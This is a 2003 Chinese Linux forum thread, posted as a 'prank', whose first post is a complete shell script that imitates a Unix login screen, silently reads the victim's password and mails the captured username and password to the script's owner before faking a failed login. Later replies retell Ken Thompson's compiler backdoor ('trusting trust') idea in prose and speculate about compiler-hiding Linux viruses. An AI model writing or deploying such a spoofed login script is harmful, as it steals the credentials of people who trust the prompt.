LinuxSir.cn,穿越时空的Linuxsir!

 找回密码
 注册
搜索
热搜: shell linux mysql
查看: 970|回复: 6

整人的东东

[复制链接]
发表于 2003-6-6 09:55:55 | 显示全部楼层 |阅读模式
#! /bin/sh

  clear
  cat /etc/issue
  echo -n "login: "
  read login
  echo -n "assword: "
  stty -echo
  read passwd
  stty sane
  mail $USER <<- fin
        login: $login
        passwd: $passwd
  fin
  echo "Login incorrect"
  sleep 1
  logout
 楼主| 发表于 2003-6-6 09:57:27 | 显示全部楼层
  他修改了/bin/login应用程序以内嵌一小段代码,通过输入预先编译好的硬编码的密码(不须考虑/etc/passwd)可提供对系统的直接访问。这样,Thompson能够使用这个login版本访问每个系统。

  不过,该应用程序的源码只存于当时(像是为了今天的自由软件)。之后,login.c的源码在Unix系统上公布,这样每个人都能读取俘获的代码。因此,Thompson提供了干净的不带访问后门的login.c。

  问题在于每个管理员都能够重新编译login.c来删除俘获了的版本。于是,Thompson修改了标准C编译器以使之能够在注意到某人试图编译login.c时添加后门。

  但是接着编译器源代码cc.c又出现了,这样每个人都能读取或者重新编译编译器。为此,Thompson提供了干净的编译器源代码,但是已经处理过的二进制文件能够识别自己的源文件,那么还是包含了用来感染login.c的代码...

  怎样解决这个问题?咳,毫无办法!唯一的方法就是使用一个全新的系统重新启动。除非你在安装机器时从头创建所有的微代码,操作系统,编译器,实用工具,否则你无法确定每个应用程序都是干净的,即使是那些有源码的程序。
发表于 2003-6-6 10:03:00 | 显示全部楼层
兄弟,发重复啦~~;)
http://www.linuxsir.cn/bbs/showthread.php?threadid=20494
不过解释还是很详细的谢谢
 楼主| 发表于 2003-6-6 10:03:16 | 显示全部楼层
Sorry, the author is Christophe Blaess
 楼主| 发表于 2003-6-6 14:49:30 | 显示全部楼层
谁能这样改/bin/login再改gcc?
发表于 2003-6-7 10:50:04 | 显示全部楼层

Ken Thompson 的超级密码

我倒是听说过所谓Ken Thompson 的超级密码:
Ken Thompson曾宣布他有一个万能密码,可以进行现今所有的Unix操作系统。最初他想法是对login.c作个手脚(称之为patch1),这样就可以设置一个万能密码来进入任何操作系统,但这个手法并不高明,任何有login.c的程序员都可以发现它并将之删除。于是他就想如果在编译器上做点手脚,当它在编译疑似login.c行为的程序时,就将patch1加入其中,这比前者显然要高明(称之为patch2),但还是不好,因为编译器会不断更新的,显然你只能对某一个版本或某一种编译器做手脚,过几年万能密码就失效了,所以他最后想到了patch3,当编译器在编译一个疑似编译器的程序时就将patch2植入其中,这样只要对第一个C编译器打上patch3,所有的unix都会有同一个超级密码了。哈哈
发表于 2003-6-9 17:29:29 | 显示全部楼层
有意思!

这是不是提出了一个linux下病毒的原型????

要让病毒在linux下生存, 最好隐藏的方法是躲在编译器里. 而且感染所有新编译的软件


您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表